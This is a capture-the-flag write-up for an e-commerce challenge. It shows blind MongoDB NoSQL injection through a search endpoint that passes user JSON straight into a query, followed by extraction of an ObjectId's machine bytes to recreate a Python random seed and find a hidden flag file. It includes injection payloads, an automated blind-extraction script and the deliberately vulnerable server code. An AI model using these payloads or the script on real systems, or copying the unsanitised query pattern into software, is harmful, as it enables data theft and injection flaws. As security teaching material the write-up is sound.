Overview
ShopZone is a an e-commerce CTF challenge. You can register, log in, and browse products. The goal is to read a secret file hidden on the server.
The intended path: blind NoSQL injection → ObjectId extraction → machine byte leak → Python random seed derivation → flag path.
Step 1 — Recon: What does the app do?
After registering and logging in, you see a product catalog with a search bar. Two search endpoints exist:
GET /search?name=khalil— normal browser searchPOST /searchwith a JSON body , API-style search
The POST endpoint is the interesting one. Looking at the source:
filter_ = request.get_json(silent=True) or {}
products = list(db.products.find(filter_, {"_id": 0, "name": 1, "category": 1, "price": 1, "seller": 1}))
The JSON body is passed directly into a MongoDB query with zero sanitization — classic NoSQL Injection.
Step 2 — NoSQL Injection: Confirming the vector
MongoDB supports operators like $gt, $ne, $regex. Since the filter comes straight from user input, we can use any of them.
Confirm injection with:
POST /search HTTP/1.1
Content-Type: application/json
{"name": {"$gt": ""}}
All products returned -> injection confirmed.
Now, looking at the seed script, every product has an owner_id field (the admin’s MongoDB ObjectId). But the server only returns name, category, price, seller — owner_id is never exposed. This means we need blind injection.
Step 3 — Blind NoSQL Injection via Regex
The trick: use $regex to ask yes/no questions about owner_id. Products returned = match, empty array = no match.
POST /search HTTP/1.1
Content-Type: application/json
{"owner_id": {"$regex": "^a"}}
We extract the full ObjectId one character at a time. A MongoDB ObjectId is a 24-character hex string, so we only test 0–9 and a–f at each position.
Automation script:
import requests
import string
TARGET = "http://<challenge-host>"
CHARSET = string.digits + "abcdef" # ObjectId is hex
s = requests.Session()
s.post(f"{TARGET}/register", data={"username": "hacker", "password": "hacker123"})
s.post(f"{TARGET}/login", data={"username": "hacker", "password": "hacker123"})
owner_id = ""
while len(owner_id) < 24:
for ch in CHARSET:
resp = s.post(
f"{TARGET}/search",
json={"owner_id": {"$regex": f"^{owner_id}{ch}"}},
headers={"Content-Type": "application/json"}
)
if resp.json(): # non-empty -> character matches
owner_id += ch
print(f"[+] Progress: {owner_id}")
break
print(f"[+] owner_id = {owner_id}")
The script finished and we get the full ObjectId:
6634a1f2b3c2e1a0f9d87654
Step 4 — What’s inside a MongoDB ObjectId?
A MongoDB ObjectId is a 12-byte (24 hex char) value structured as:
| 4 bytes | 3 bytes | 2 bytes | 3 bytes |
|---|---|---|---|
| Unix time | Machine ID | Process ID | Counter |
The key detail: pymongo 3.6.1 generates the machine ID as md5(socket.gethostname())[:3] — the first 3 bytes of the MD5 hash of the container hostname.
So bytes 4–6 of the ObjectId (hex chars 8–13) are exactly md5(hostname)[:3] — the same value used in seed.py to derive the secret.
import binascii
owner_id = "6634a1f2b3c2e1a0f9d87654"
raw = binascii.unhexlify(owner_id)
machine_bytes = raw[4:7] # = md5(hostname)[:3]
print(machine_bytes.hex())
Step 5 — Derive the Secret
seed.py derives the flag filename like this:
import hashlib, socket, random
machine_bytes = hashlib.md5(socket.gethostname().encode()).digest()[:3]
seed = int.from_bytes(machine_bytes, "big")
r = random.Random()
r.seed(seed)
secret = hex(r.getrandbits(64))[2:].zfill(16)
We already have machine_bytes from the ObjectId , no need to know the hostname. Plug it in directly:
import random, binascii
owner_id = "6634a1f2b3c2e1a0f9d87654"
raw = binascii.unhexlify(owner_id)
machine_bytes = raw[4:7]
seed = int.from_bytes(machine_bytes, "big")
r = random.Random()
r.seed(seed)
secret = hex(r.getrandbits(64))[2:].zfill(16)
print(f"[+] Secret: {secret}")
print(f"[+] Flag path: /backup/flag_{secret}")
Step 6 — Get the Flag
Navigate to the derived path:
GET /backup/flag_<your_secret>
CyberTEK{my_machine_id_isnt_random_after_all}
Summary
| Step | Technique |
|---|---|
| Confirm injection | {"name": {"$gt": ""}} returns all products |
| Blind extraction | $regex on owner_id, one hex char at a time |
| Machine byte leak | Bytes 4–6 of ObjectId = md5(hostname)[:3] in pymongo 3.6.1 |
| Secret derivation | Seed random.Random with machine bytes → getrandbits(64) |
| Flag retrieval | GET /backup/flag_<secret> |
Hope you learned something new! ✌️